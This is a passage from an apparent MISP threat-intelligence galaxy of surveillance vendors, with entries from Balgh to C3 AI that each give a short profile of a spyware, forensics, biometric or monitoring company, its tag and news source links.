https://www.lookout.com/threat-intelligence/article/badbazaar-surveillanceware-apt15
https://thecyberexpress.com/global-cybersecurity-agencies-warn-of-spyware/
https://www.darkreading.com/vulnerabilities-threats/china-continues-harassing-ethnic-groups-spyware
https://www.reuters.com/technology/cybersecurity/western-intelligence-agencies-warn-spyware-threat-targeting-taiwan-tibetan-2025-04-08/

Balgh

The Balgh (□□□ - meaning "report" in Arabic) platform, launched by Iraq's Ministry of Interior in January 2023, is a digital tool designed to allow citizens to report social media content deemed to "violate public morals" or "undermine social stability." Within just over a month of its launch, the platform received over 96,000 reports, resulting in prosecutions and prison sentences for individuals accused of publishing content deemed critical or offensive, including creators of music and comedy.

In a statement co-signed by the nonprofit INSM for Digital Rights in Iraq on January 2025, marking two years since the launch of Balgh, human rights organizations highlighted how the platform has enabled a pervasive culture of widespread surveillance and fear online. It has encouraged individuals to monitor and report one another to the Iraqi authorities, leading to arrests and interrogations.

The tag is: *misp-galaxy:surveillance-vendor="Balgh"*

Table 17577. Table References

Links
https://insm-iq.org/en/archives/1083
https://www.amnesty.org/en/wp-content/uploads/2023/03/MDE1465112023ENGLISH.pdf
https://therecord.media/iraq-ballegh-app-interview-interior-ministry-click-here
https://www.amnesty.org/en/latest/news/2023/03/iraq-government-must-match-rhetoric-on-human-rights-with-meaningful-action/
https://www.france24.com/en/live-news/20230216-tiktokers-jailed-as-iraq-targets-decadent-content

Barbaricum

Barbaricum, a Washington, D.C.-based security and intelligence contractor, held a $5.5 million contract with U.S. Immigration and Customs Enforcement (ICE) to monitor social media for threats and negative sentiment about the agency. The monitoring services provided under this contract included real-time surveillance, behavioral and sentiment analysis, and the tracking of negative references to ICE found on social media platforms.

The tag is: *misp-galaxy:surveillance-vendor="Barbaricum"*

Table 17578. Table References

Links
https://www.elespanol.com/usa/en/20250221/ice-recurre-redes-sociales-unidos-monitorear-amenazas-operara/925157488_0.html
https://theintercept.com/2025/02/11/ice-immigration-social-media-surveillance/
https://dodsoco.ogc.osd.mil/Portals/102/Documents/Conflicts/2025%2025K%20(FY2024).pdf?ver=6UGEr9NtBuZqMfmcfNap6A%3D%3D

BeeSense

BeeSense is an Israeli company that develops multi-sensor systems and wireless communication technologies for intelligence gathering and surveillance purposes. Its systems, such as the BEE-3 and FireFly, provide day-and-night observation capabilities and are designed for applications like border control. BeeSense has been endorsed by the European Union's border agency, Frontex, which shortlisted the company for its surveillance solutions.

BeeSense is the rebranded name of Seraphim Optronics following its acquisition by the Avnon Group in July 2021.

The company's founder, Israel Kasher, who has served as President and CEO since its establishment in 1993, previously worked with a technical unit of the Israeli Defense Forces (IDF) Intelligence Corps.

The tag is: *misp-galaxy:surveillance-vendor="BeeSense"*

Table 17579. Table References

Links
https://electronicintifada.net/blogs/david-cronin/eus-frontex-gives-seal-approval-israeli-surveillance-firm
https://beesense-sys.com/
https://dimse.info/beesense/#elementor-tocheading-anchor-2
https://www.jstor.org/stable/resrep05075.13?seq=1
https://www.gov.il/BlobFolder/generalpage/ihsf_tech/en/minister_conference_Seraphim%20%D7%9E%D7%9C%D7%9C.pdf
https://opencorporates.com/companies/il/512353186
https://migration-control.info/en/library/profiteers/seraphim-optronics/

BellTroX

BellTroX InfoTech Services is an Indian IT firm offered its hacking services to help clients spy on more than 10,000 email accounts over a period of seven years. A cache of data reviewed by Reuters provides insight into the operation, detailing tens of thousands of malicious messages designed to trick victims into giving up their passwords that were sent by BellTroX between 2013 and 2020. The data was supplied on condition of anonymity by online service providers used by the hackers after Reuters alerted the firms to unusual patterns of activity on their platforms. Citizen Lab revealed in an investgiation that Dark Basin is a hack-for-hire organization linked to BellTroX. Their report also noted that Dark Basin is the group behind the phishing of organizations working on net neutrality advocacy, uncovered by a report by the Electronic Frontier Foundation.

The tag is: *misp-galaxy:surveillance-vendor="BellTroX "*

Table 17580. Table References

Links
https://www.reuters.com/article/us-india-cyber-mercenaries-exclusive/exclusive-obscure-indian-cyber-firm-spied-on-politicians-investors-worldwide-idUSKBN23G1GQ/
https://www.newyorker.com/news/annals-of-crime/a-confession-exposes-indias-secret-hacking-industry
https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/
https://www.eff.org/deeplinks/2017/09/phish-future

Berico Technologies

Berico Technologies provided analytics solutions and surveillance technologies for government clients, including social media analysis for intelligence purposes. Patrick Ryan, who worked at Berico as a data mining expert, was involved in a proposal aimed at implementing real-time surveillance of politically active individuals and groups in the USA. In partnership with Palantir Technologies and HBGary Federal, the proposal would have included spying on the families of prominent Democratic activists and planting fabricated documents within labor unions to undermine their credibility. Novetta, Inc., a portfolio company of The Carlyle Group, acquired Berico Technologies in November 2018 for an undisclosed sum. Novetta was then acquired by Accenture Federal in 2021.

The tag is: *misp-galaxy:surveillance-vendor="Berico Technologies"*

Table 17581. Table References

Links
https://theintercept.com/2018/02/22/patrick-ryan-congress-berico-dataminr/
https://www.theguardian.com/media/2011/feb/15/anonymous-us-security-firms-wikileaks
https://www.accenture.com/us-en/services/us-federal-government/afs-novetta

Berla

Berla is a Maryland-based company that develops vehicle forensics products, with its primary tool, Project iVe, allowing law enforcement to extract and analyze vast amounts of data from vehicles. This includes vehicle-generated information such as GPS logs, door activity, and even data from connected devices like smartphones via Bluetooth or USB.

Berla collaborates with automobile manufacturers and the U.S. Department of Homeland Security (DHS), ensuring law enforcement has access to vehicle data while bypassing smartphone encryption. The company claims its technology can access data from over 6,700 car models globally.

The tag is: *misp-galaxy:surveillance-vendor="Berla"*

Table 17582. Table References

Links
https://cyberscoop.com/berla-car-hacking-dhs/

https://cellebrite.com/en/cellebrite-inspector-provides-berla-ive-support/
https://theintercept.com/2021/05/03/car-surveillance-berla-msab-cbp/
https://www.stopspying.org/wiretaps-on-wheels
https://berla.co/wp-content/uploads/2018/02/Berla-iVe-Datasheet.pdf

BGH Tech Partner

Boris Garfunkel e Hijos (BGH) is an Argentinian company that distributes surveillance technologies to law enforcement agencies. According to press reports, this includes facial recognition software as well as license plate readers. The company also sells Hikvision products.

The tag is: *misp-galaxy:surveillance-vendor="BGH Tech Partner"*

Table 17583. Table References

Links
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://web.archive.org/web/20220729152138/https://www.bghtechpartner.com/2018/02/02/bgh-tech-partner-suma-hikvision-su-portfolio/
https://canal-ar.com.ar/25431-BGH-impulsa-su-porfolio-de-videovigilancia-con-Hikvision.html

BI Incorporated

BI Incorporated is a subsidiary of the GEO Group, a private prison company that operates more than a dozen for-profit immigrant detention centers nationwide on behalf of ICE (Immigration and Customs Enforcement) in the United States. BI Incorporated operates the technology and manages the system for the U.S. government’s Alternatives to Detention program. This program uses various surveillance tools to monitor migrants and asylum seekers awaiting their immigration proceedings. The surveillance technologies used in the Alternatives to Detention program include GPS-enabled ankle monitors, voice recognition technology, and a mobile app called SmartLINK that uses facial recognition software and geolocation for check-ins. The program’s surveillance creates "digital enclaves" - areas with high concentrations of monitored migrants, effectively extending the border’s reach into various U.S. cities and neighborhoods.

According to The Guardian, "BI Incorporated operates the Intensive Supervision Appearance Program (ISAP), a surveillance system launched in 2004 and pitched as a way to keep immigrants out of detention centers while they await a court hearing on their legal status. The U.S government pays BI hundreds of millions of dollars a year to run ISAP, and in 2020, the company signed a new five-year contract with ICE for nearly $2.2 billion."

The company is expanding its surveillance toolkit. In April, 2023, ICE announced it was pilot testing a facial recognition smartwatch as a potential addition to their e-monitoring systems. In 2025, it was revealed that ICE intends to expand its surveillance program by fitting over 180,000 immigrants with ankle monitors (and wrist trackers for pregnant women) while they await court proceedings. These devices are supplied and managed by BI Incorporated.

The tag is: *misp-galaxy:surveillance-vendor="BI Incorporated"*

Table 17584. Table References

Links
https://www.codastory.com/authoritarian-tech/us-immigration-surveillance/
https://www.theguardian.com/us-news/2022/mar/07/us-immigration-surveillance-ice-bi-isap
https://www.codastory.com/authoritarian-tech/us-ice-alternatives-to-detention/
https://www.officer.com/command-hq/corrections/offender-monitoring/press-release/21027349/bi-incoporated-bi-incorporated-celebrates-40-years-of-innovation-in-offender-monitoring-technology
https://arkansasadvocate.com/2024/08/01/private-prison-giant-geo-group-ramps-up-lobbying-on-immigrant-surveillance/
https://www.levernews.com/private-prison-firms-set-to-cash-in-on-immigrant-surveillance-boom/
https://www.axios.com/2022/02/15/biden-for-profit-detention-alternative
https://gizmodo.com/ice-plans-to-track-over-180000-immigrants-with-ankle-monitors-report-2000634109

BI2 Technologies

BI2 Technologies is a developer of biometric identification systems. Their main product is called I.R.I.S., which scans a person's iris to quickly check their identity. They also have a mobile system called MORIS that can capture iris and facial data using a smartphone or tablet, allowing law enforcement to identify people in the field.

In October 2025, an article in the Washington Post revealed that the company is a contractor for U.S. Immigration and Customs Enforcement (ICE). ICE awarded the company a sole-source contract worth $4.6 million to provide a mobile iris-scanning system for use by its agents. Border sheriffs along the U.S.-Mexico border have also adopted the company's iris-recognition technology.

The tag is: *misp-galaxy:surveillance-vendor="BI2 Technologies"*

Table 17585. Table References

Links
https://www.washingtonpost.com/technology/2025/10/17/ice-surveillance-immigrants-antifa/
https://www.mediaite.com/media/news/ice-buying-millions-in-spyware-to-use-on-americans/
https://bi2technologies.com/service/iris/
https://www.biometricupdate.com/202508/ices-biometric-surveillance-reach-expands-with-bi2-iris-scanning-tech
https://www.motherjones.com/politics/2025/09/trump-ice-contracts-ballard-partners-lobbying-bi2-technologies-palantir-biometrics/
https://www.newsweek.com/ice-eye-scanning-tech-immigration-2110063
https://www.aclu.org/news/privacy-technology/why-are-border-sheriffs-rushing-adopt-iris

https://theintercept.com/2017/07/08/border-sheriffs-iris-surveillance-biometrics/

BigBear.ai

BigBear.ai is a provider of AI-powered decision intelligence solutions, including predictive analytics, computer vision, and event alerting technologies. Their products utilize AI and machine learning to provide surveillance capabilities. The company actively collaborates with government agencies, including the Department of Defense (DoD), Department of Homeland Security (DHS), and the Intelligence Community (IC). BigBear.ai's surveillance capabilities include monitoring and analyzing social media as part of its Virtual Anticipation Network (VANE).

In 2024, BigBear.ai acquired Pangiam, a company that provides surveillance tools including facial recognition systems for border control agencies.

The tag is: *misp-galaxy:surveillance-vendor="BigBear.ai"*

Table 17586. Table References

Links
https://ir.bigbear.ai/news-events/press-releases/detail/69/bigbear-ai-to-acquire-pangiam-combining-facial-recognition
https://bigbear.ai/solutions/national-security/
https://ai-pro.org/learn-ai/articles/ai-in-national-security-bigbear-ai-secures-pivotal-dod-contract/
https://idtechwire.com/bigbear-ai-increases-presence-in-us-border-infrastructure-with-den-deployments/
https://defensescoop.com/2025/02/06/pentagon-bigbear-ai-vane-prototype-platform-analyze-media/
https://executivebiz.com/2025/02/bigbearai-dod-contract-ai-driven-media-assessment-platform/
https://bigbear.ai/resources/virtual-anticipation-network-vane-info-ops-demo/

Bilgi Teknoloji Tasarım

Bilgi Teknoloji Tasarım (BTT) is a Turkish spyware manufacturer that also facilitates surveillance technology sales, often employing deceptive practices to bypass export restrictions. According to an Al Jazeera investigation, BTT's co-founder, Alper Tosun, proposed using the "dual-use" ruse to market surveillance equipment as benign telecom tools. This tactic allowed BTT to sidestep international regulations and sell powerful interception tools, such as IMSI-catchers, to repressive regimes.

BTT's controversial history includes its exposure in the 2015 Hacking Team leaks, which revealed its intermediary role in supplying surveillance software to Bangladesh's National Telecommunication Monitoring Centre (NTMC). Following these revelations, BTT underwent significant transformations. It was acquired in 2017 by the Emirati firm B Research and Development but later ceased operations. However, its spyware and surveillance activities continued through corporate rebranding and restructuring.

In 2022, BTT reemerged as Ikon Arge Teknoloji, a Turkish-Singaporean entity with ties to Southeast

Asia. Ikon inherited BTT's expertise and staff, including its former R&D chief Alper Tosun, before his "retirement." Officially, Ikon focuses on software R&D, including drone technology, and serves Turkish government agencies like TUBITAK while maintaining a presence in Southeast Asia through its Singapore branch. Despite its claims of working in sectors like banking, Ikon's history and connections suggest a continued involvement in surveillance technologies. Lam Chee Loong is a key figure in BTT's Singapore operations.

The tag is: *misp-galaxy:surveillance-vendor="Bilgi Teknoloji Tasarım"*

Table 17587. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/11/15/ikon-the-new-face-of-turkish-singaporean-interception-software-specialist-btt,109864719-gra
https://www.aljazeera.com/features/2017/4/10/how-the-dual-use-ruse-is-employed-to-sell-spyware
https://www.infosecurity-magazine.com/news-features/nso-groups-difficulties-spyware/
https://www.aljazeera.com/news/2017/4/10/exclusive-spyware-firms-in-breach-of-global-sanctions
https://www.wired.com/2015/07/hacking-team-leak-shows-secretive-zero-day-exploit-sales-work/
https://wikileaks.org/hackingteam/emails/emailid/564975

Bindecy

Led by Eylon Ben Yaakov and Daniel Shapiro, both formerly of IT security research start-up KayHut, the company provides a range of digital surveillance tools and has secured cyber offensive contracts with Israeli intelligence services. Additionally, Bindecy advanced its capabilities by acquiring intellectual property from the former Israeli spyware firm Merlinx (which supplied its tools to Bangladesh's intelligence service, via Israeli-PC integrator Prelysis.)

The tag is: *misp-galaxy:surveillance-vendor="Bindecy"*

Table 17588. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/07/12/small-cyber-offensive-firm-bindecy-resists-israeli-cyber-crisis,110266932-art
https://www.haaretz.com/israel-news/security-aviation/2024-12-26/ty-article/.premium/israeli-hackers-flock-to-barcelona-as-spyware-industry-shifts/00000193-fec4-df5b-a9b3-fec5d9dc0000
https://www.intelligenceonline.com/surveillance—interception/2021/06/02/bindecy-lays-hands-on-struggling-cyber-security-firm-merlinx,109670437-art

BITS Pilani

BITS Pilani is one of India's premier institutes for higher education and research. In collaboration with the Goa Police, BITS Pilani developed an AI-based radical content analyzer designed to monitor and analyze online and offline content, including videos, for specific sentiments. The

institute also develops IoT-based smart surveillance cameras with face detection, which it showcased in a workshop in the UAE.

The tag is: *misp-galaxy:surveillance-vendor="BITS Pilani"*

Table 17589. Table References

Links
https://www.medianama.com/2025/03/223-goa-police-ties-up-with-bits-to-create-new-radical-content-analyser-tool/
https://www.bits-pilani.ac.in/event/iot-based-smart-surveillance-camera-with-face-detection/

Black Cube

Black Cube is a private intelligence agency based in Israel that provides intelligence and investigative services to a wide range of clients. The agency was founded by former Israeli intelligence officers, with offices in London and Madrid. Black Cube is known for conducting corporate espionage, intelligence gathering, and investigations on behalf of corporations, governments, and high-profile individuals worldwide. Its clients include Harvey Weinstein and Trump. It was banned by Meta for its surveillance activities on its platforms. Its international advisory board included Meir Dagan, former head of Mossad, and Yohanan Danino, former Israeli Police Commissioner, as well as Major General Giora Eiland, former head of the Israeli National Security Council, and who headed the IDF's Operation Branch. Former NSO CEO Shalev Hulio admitted to hiring Black Cube at in at least one situation in Cyprus.

The tag is: *misp-galaxy:surveillance-vendor="Black Cube"*

Table 17590. Table References

Links
https://www.npr.org/sections/thetwo-way/2018/05/07/609157901/reports-intel-firm-was-hired-to-discredit-former-obama-iran-deal-negotiators
https://www.npr.org/2021/12/16/1064628654/facebook-bans-surveillance-firms-that-spied-on-50000-people
https://www.theguardian.com/uk-news/2018/may/05/trump-team-hired-spy-firm-dirty-ops-iran-nuclear-deal
https://web.archive.org/web/20170827044416/https://www.blackcube.com/board/
https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html

Black Wall Global

Led by Israeli intelligence veterans, Black Wall Global is an entity based in Dubai that serves as a back-channel for Arab countries seeking to procure and deploy Israeli surveillance technologies. This includes technologies developed by Israeli companies like Israel Aerospace Industries (IAI), Elbit Systems, and others, specifically to obtain access to advanced surveillance drones and systems for intelligence gathering.

The tag is: *misp-galaxy:surveillance-vendor="Black Wall Global"*

Table 17591. Table References

Links
https://circuit.news/2022/09/04/uae-israel-cyber-intelligence-firm-grows-with-its-perch-in-the-gulf/
https://www.dimse.info/united-arab-emirates/

BlackBag Technologies

BlackBag Technologies develops digital forensic and incident response software for analyzing traditional device data for Windows, Mac, iPhone and Android devices. It was acquired by Cellebrite, the Israeli company which works with police departments and government agencies to unlock phones for data-scraping purposes. It's funded by In-Q-Tel, which is a CIA-owned investment firm that supports U.S intelligence capabilities.

The tag is: *misp-galaxy:surveillance-vendor="BlackBag Technologies"*

Table 17592. Table References

Links
https://foreignpolicy.com/2022/02/21/palestine-israel-ai-surveillance-tech-hebron-occupation-privacy/
https://www.reuters.com/article/business/israeli-digital-forensics-firm-cellebrite-buys-blackbag-technologies-idUSKBN1ZD0VY/

Blackdot Solutions

Blackdot Solutions, a Cambridge-based company, offers a surveillance and investigation platform called Videris, which is marketed as an open-source intelligence (OSINT) tool. Videris is designed to help government agencies, law enforcement, banks, and corporations conduct discreet investigations into crimes. It organizes publicly available information into charts and graphs for easier analysis. However, a leaked 2018 user manual revealed that Blackdot provided instructions on creating fake Facebook and LinkedIn accounts to gather data from users, including circumventing privacy settings. These practices, which involve using proxy servers and "breaking in" fake accounts by mimicking normal user behavior, were detailed to avoid detection by social media platforms.

The tag is: *misp-galaxy:surveillance-vendor="Blackdot Solutions"*

Table 17593. Table References

Links
https://www.vice.com/en/article/surveillance-company-explains-how-to-keep-facebook-from-detecting-fake-accounts-in-leaked-manual/
https://gigazine.net/gsc_news/en/20200924-facebook-linkedin-leaked-manual-surveillance-company/

https://www.applytosupply.digitalmarketplace.service.gov.uk/g-cloud/services/355600507879698
https://blackdotsolutions.com/osint-law-enforcement/

Bler

Bler is an Israeli company founded by Efim Lerner and Uri Boros. It develops a range of surveillance tools, such as a GTM platform designed for in-depth analysis of social media profiles and interactions. Bler's Webint Center platform provides capabilities such as the geolocation of targets through social media metadata, avatar management systems, and Dark Web monitoring extensions. This platform was supplied to Egypt's Technical Research Department (TRD) via Singapore-based CloudCode and Ukrainian partner Cyberio.

Bler also developed an interception and social network monitoring system and utilizes IMSI catchers in its operations. This system, when associated with an IMSI catcher or a WiFi interceptor, can reconstruct the profile of smartphone users within a 600-meter radius.

The company operates as a subsidiary of Avnon Group.

The tag is: *misp-galaxy:surveillance-vendor="Bler"*

Table 17594. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2023/06/30/how-bler-sold-its-osint-wares-to-egypt-s-technical-intelligence-agency,109998815-art
https://www.protectiveintelligencenetwork.net/news/2020/04/28/protective-intelligence-network-and-bler-systems-israel
https://www.middleeastmonitor.com/20230711-the-means-of-communication-in-egypt-more-restrictions-and-censorship/
https://en.globes.co.il/en/article-bler-working-wonders-with-open-source-intelligence-1001316788
https://www.sibat.mod.gov.il/Exhibitions/Eurosatory/Documents/BLER_SOLUTIONS.pdf

Blighter Surveillance Systems

Blighter Surveillance Systems develops electronic-scanning (e-scan) radar and surveillance technologies for border control and military applications. Their products include the B422 LR Border Surveillance System, which offers 360° e-scan coverage and long-range detection of individuals up to 15 km, and the Lightweight Mobile E-Scan Radar. These systems are accompanied by software solutions like the C2 Radar Command & Control Software, which integrates radar data for advanced target tracking. Their surveillance technologies are deployed in over 35 countries, often sold through subsidiaries.

Blighter also has a strategic partnership with Trust International Group (TIG), a key player in the UAE's defense and intelligence sector under the Royal Group, led by Tahnoon bin Zayed, the son of Zayed bin Sultan Al Nahyan (the founder of the UAE), and who has served as the country's National Security Advisor since 2016.

The tag is: *misp-galaxy:surveillance-vendor="Blighter Surveillance Systems"*

Table 17595. Table References

Links
https://militaryembedded.com/radar-ew/sensors/blighter-surveillance-systems-introduces-lightweight-mobile-e-scan-radar
https://www.intelligenceonline.com/corporate-intelligence/2018/05/02/tahnoon-bin-zayed-abu-dhabi-spymaster-fashions-security-and-investment-empire,108309029-eve
https://www.blighter.com/products/
https://www.defensedaily.com/press-releases/blighter-to-supply-counter-uav-technology-to-liteye-systems-for-multi-million-dollar-us-department-of-defense-contract/
https://english.defensearabia.com/blighter-e-scan-radars-selected-by-unlimited-technology-to-secure-perimeter-of-middle-eastern-air-base/
https://militaryembedded.com/radar-ew/sensors/ground-surveillance-radars-ordered-from-blighter-for-global-border-security

Blocksi

Blocksi uses AI and natural language processing (NLP) to scan students' digital interactions, including emails, documents, chats, and search queries within Google Workspace and Microsoft 365 environments.

The tag is: *misp-galaxy:surveillance-vendor="Blocksi"*

Table 17596. Table References

Links
https://www.wired.com/story/inside-americas-school-internet-censorship-machine/
https://www.youtube.com/watch?v=7G0VbR7mUuE
https://wildcatvoice.org/7995/our-house/middle-school-pilots-screen-moderator-blocksi/

Blue Ocean

Blue Ocean is an offensive cyber firm headquartered in Singapore and with offices in Tel Aviv, Israel. The company, founded in 2017 by retired Brigadier General Rami Ben-Ephraim and Lieutenant Colonel Ron Tira, both former high-ranking Israeli Air Force officers, develops spyware for intelligence gathering. It is also involved in training and developing local surveillance expertise in the funding countries. Towards the end of his military service, Ben-Afriam served as a military attaché for the IDF and the Ministry of Defense in several countries in the Asia-Pacific region, including Singapore, Thailand, and New Zealand.

Singapore’s Ministry of Defense has contracted Blue Ocean to supply a team of researchers, a role previously filled by Israeli spyware developer Candiru, while Sweden has become the firm’s primary European client, according to Intelligence Online.

The company's CEO, Avi Rosen, was previously the former CEO of Kamira, a cyber company established by NSO founders Shalev Hulio and Omri Lavie. Retired General Giora Eiland, known for his role on the board of private investigation firm Black Cube (whose clients include Harvey Weinstein and Trump), serves on Blue Ocean's board.

The company has special security approval, giving it economic immunity. Unlike other Israeli spyware firms facing export controls and U.S. restrictions, it has secured significant investments and operates internationally with less scrutiny.

The tag is: *misp-galaxy:surveillance-vendor="Blue Ocean"*

Table 17597. Table References

Links
https://www.lawfaremedia.org/article/the-three-i's-in-spyware
https://www.haaretz.com/israel-news/security-aviation/2024-12-26/ty-article/.premium/israeli-hackers-flock-to-barcelona-as-spyware-industry-shifts/00000193-fec4-df5b-a9b3-fec5d9dc0000
https://www.intelligenceonline.com/surveillance—interception/2023/05/30/cyberintelligence-firm-blue-ocean-s-mystery-clients-revealed,109978498-art
https://www.globes.co.il/news/article.aspx?did=1001446258

Bluehawk CI

Bluehawk CI is an Israel-based firm that reportedly offers a range of cyber intelligence and surveillance tools and services, including spyware and hacking tools. Like similar firms, Bluehawk CI markets its services to government agencies, law enforcement, and intelligence organizations. According to the Daily Beast, the company was founded by Guy Klisman, a former Israeli military intelligence officer, and describes itself as an intelligence firm staffed by "alumni from special units in the Israeli intelligence community." The firm was used to dig up information on people with lawsuits against the emirate of Ras Al Khaimah in the UAE.

The tag is: *misp-galaxy:surveillance-vendor="Bluehawk CI"*

Table 17598. Table References

Links
https://www.thedailybeast.com/israeli-snoop-for-hire-posed-as-a-fox-news-journalist-for-a-spy-operation
https://www.theverge.com/2021/12/16/22840296/meta-alerts-50000-users-targeting-by-surveillance-for-hire-nso
https://www.securityweek.com/calls-mount-us-gov-clampdown-mercenary-spyware-merchants/
https://www.wired.com/story/meta-facebook-whatsapp-surveillance-for-hire/

Bold Technologies

Bold Technologies, an Emirati company, is a supplier of cyber intelligence, forensics, and related

tools to various government agencies. It's currently a partner in Abu Dhabi's $2.5 billion Aion Sentia initiative, an AI-powered smart city project launched in March 2025. It is working alongside Italian firm Negg, which is a developer of spyware technologies. The company is also partnered with China's Huawei.

The tag is: *misp-galaxy:surveillance-vendor="Bold Technologies"*

Table 17599. Table References

Links
https://cointelegraph.com/news/abu-dhabi-bold-technologies-my-aion-launch-aion-sentia-ai-smart-city-platform
https://www.intelligenceonline.com/surveillance—interception/2025/05/29/italian-cyber-specialist-negg-plants-its-flag-in-abu-dhabi,110458791-art
https://www.intelligenceonline.com/international-dealmaking/2025/01/15/a-huawei-ally-and-a-rising-security-leader-the-double-hat-of-abu-dhabi-s-new-police-chief,110361293-eve
https://www.middleeastainews.com/p/bold-technologies-ai-cognitive-city

Boldend

Boldend, founded in 2017 by Jon Miller and based in San Diego, is a cybersecurity startup. It stays out of the spotlight and calls itself a "SaaS Next-Generation Defense Contractor." The company creates tools for cyber warfare, with an emphasis on automation and advanced intelligence activities. Boldend's tools have reportedly been able to exploit WhatsApp's security to install malicious software on target devices.

Its products include Origen, described as an "all-in-one malware platform" that enables the creation of malware for multiple platforms, including Windows, Linux, Mac, and Android. It is designed to hack into devices and extract data. Additionally, Boldend has developed other tools and platforms for surveillance purposes, such as Kevlar (implant analysis), Hedgemaze (traffic obfuscation), and Cricket (Wi-Fi attack hardware).

Boldend has primarily worked with government entities, including various branches of the U.S. government. In August, 2024, it was acquired by SIXGEN, a cybersecurity company.

The tag is: *misp-galaxy:surveillance-vendor="Boldend"*

Table 17600. Table References

Links
https://techcrunch.com/2024/03/22/us-cyber-investors-pledge-spyware-is-off-limits-with-a-catch/
https://www.forbes.com/sites/thomasbrewster/2022/02/01/billionaire-facebook-investor-peter-thiel-secretly-funded-a-cyber-warfare-startup-that-hacked-whatsapp/
https://www.businesswire.com/news/home/20240806745806/en/SIXGEN-Acquires-Boldend-to-Advance-Innovation-in-US-Defense-and-National-Security

https://www.forbes.com/sites/thomasbrewster/2024/08/06/boldend-a-peter-thiel-backed-hacking-startup-acquired-by-sixgen/
https://warriormaven.com/land/soldiers-may-soon-attack-with-tiny-electronic-warfare-weapon-to-jam-enemy-weapons

Booz Allen Hamilton

Booz Allen Hamilton is an American management and IT consulting firm with extensive ties to U.S. intelligence, defense, and homeland security agencies, providing strategic and technological support to government operations, including for surveillance purposes. The company offers data analytics, cybersecurity, and AI-powered monitoring tools, enabling real-time tracking, risk assessment, and predictive modeling.

Booz Allen has provided services to U.S. Immigration and Customs Enforcement (ICE), including technical support for surveillance programs targeting immigrants and border activities. These contracts have included work on biometric data systems, information-sharing platforms, and analytics tools that support ICE's enforcement and deportation operations.

The tag is: *misp-galaxy:surveillance-vendor="Booz Allen Hamilton"*

Table 17601. Table References

Links
https://www.vice.com/en/article/booz-allen-hamilton-is-making-millions-working-with-ice/
https://www.nytimes.com/2016/10/07/us/booz-allen-hamilton-nsa.html
https://govcdoiq.org/info-bytes/procurements/dhs-ice-awards-booz-allen-1-7m-task-order-for-sevp-data-analytics-support/
https://www.highergov.com/contract/GS35F386DA-70CTD022FR0000002/
https://www.boozallen.com/markets/homeland-security-and-law-enforcement.html
https://www.newsweek.com/deloitte-booz-allen-hamilton-contracts-ice-1446895
https://fedscoop.com/booz-allen-cdm-contract-621-million-dhs/

BriefCam

BriefCam is a leading provider of Video Content Analytics (VCA) solutions, using artificial intelligence and machine learning to extract detailed insights from video surveillance footage. Their technology enables customers to rapidly review, search, and analyze hours of video in minutes, identifying objects, events, and patterns with high precision. BriefCam's capabilities include real-time alerting, multi-camera search, and video summarization. BriefCam's technology is primarily used by law enforcement and government agencies, as well as for "smart city" initiatives. In 2018, Canon completed its acquisition of BriefCam. The company's partners include other surveillance entities such as Cognyte, Axis Communications, Pelco and IndigoVision.

The tag is: *misp-galaxy:surveillance-vendor="BriefCam"*

Table 17602. Table References

Links
https://www.euractiv.com/section/data-privacy/news/french-police-accused-of-using-facial-recognition-software-illegally/
https://disclose.ngo/en/article/the-french-national-police-is-unlawfully-using-an-israeli-facial-recognition-software
https://www.buzzfeednews.com/article/carolinehaskins1/police-software-briefcam
https://www.rnz.co.nz/news/national/490353/ai-used-across-multiple-departments-in-camera-surveillance
https://discovery.hgdata.com/product/briefcam
https://www.briefcam.com/partners/our-partners/
https://www.whoprofits.org/companies/company/6672?briefcam
https://www.gccbusinessnews.com/moro-hub-partners-with-us-based-briefcam-for-video-surveillance-solution/
https://investigate.afsc.org/company/canon
https://dimse.info/briefcam/
https://next.obudget.org/i/tenders/exemptions/4000529826/109-2021

Butterfly Effect

Butterfly Effect, a spin-off from the Kazakh tech group Kazdream, specializes in telephone interception and open-source intelligence (OSINT) tools. The firm is actively expanding its international presence, establishing a representation bureau in Dubai to target public sector contracts in the Middle East. To facilitate this, its chief commercial officer, Rinata Ilyubayeva, has been engaging with major regional players like the UAE's surveillance powerhouse Group 42 (G42) and Edge Group's subsidiaries, Sign4l and Beacon Red, at events such as the Gulf Information Technology Exhibition (GITEX).

In 2022, it launched a new intercepted data analytics platform named Triton, designed to complement its existing telephone interception and open-source intelligence systems.

Butterfly Effect's offerings also include advanced cyber tools such as "Artemida," a law enforcement platform designed for mass location and behavioral analysis.

The tag is: *misp-galaxy:surveillance-vendor="Butterfly Effect"*

Table 17603. Table References

Links
https://kazdream.kz/bez-rubriki-en/kazakhstans-butterfly-effect-aims-to-get-into-the-gulf-via-partnerships-with-uaes-state-owned-cyber-groups/
https://www.issworldtraining.com/iss_europe/

https://www.intelligenceonline.com/surveillance—interception/2022/09/15/butterfly-effect-unveils-triton-holland-joins-shield-capital-hijojo-helps-kela-kent-lobbies-for-trinity-cyber,109813013-art
https://www.bfe.team/triton/
https://www.bfe.team/artemida/

C3 AI

C3 AI, founded by billionaire Tom Siebel, develops law enforcement surveillance technologies distributed through Project Sherlock, a $12 million AI-powered surveillance system developed for the San Mateo County Sheriff's Office. The project was designed to unify data streams from at least 15-16 different police agencies, integrating information from license plate readers, surveillance cameras, and arrest records into a single AI-powered application. The system has been plagued by technical problems, including data security issues where the software was found to be ingesting "restricted cases" that should only have been visible to select individuals.

Despite these local law enforcement struggles, C3 AI has secured significantly larger government contracts, most notably a five-year, $500 million agreement with the U.S. Department of Defense.

It counts Amazon Web Service as a longtime partner, and also works closely with Google Cloud.

The tag is: *misp-galaxy:surveillance-vendor="C3 AI"*

Table 17604. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2025/09/04/tom-seibel-c3-ai-sherlock-was-supposed-to-turbocharge-police-investigations/
https://lngfrm.net/san-mateos-12-million-ai-policing-project-falls-short/
https://www.bloomberg.com/news/videos/2024-07-15/c3-ai-partners-with-google-cloud-video
https://aimagazine.com/ai-strategy/c3-ai-gains-usdollar500m-contract-department-defense

Callyo

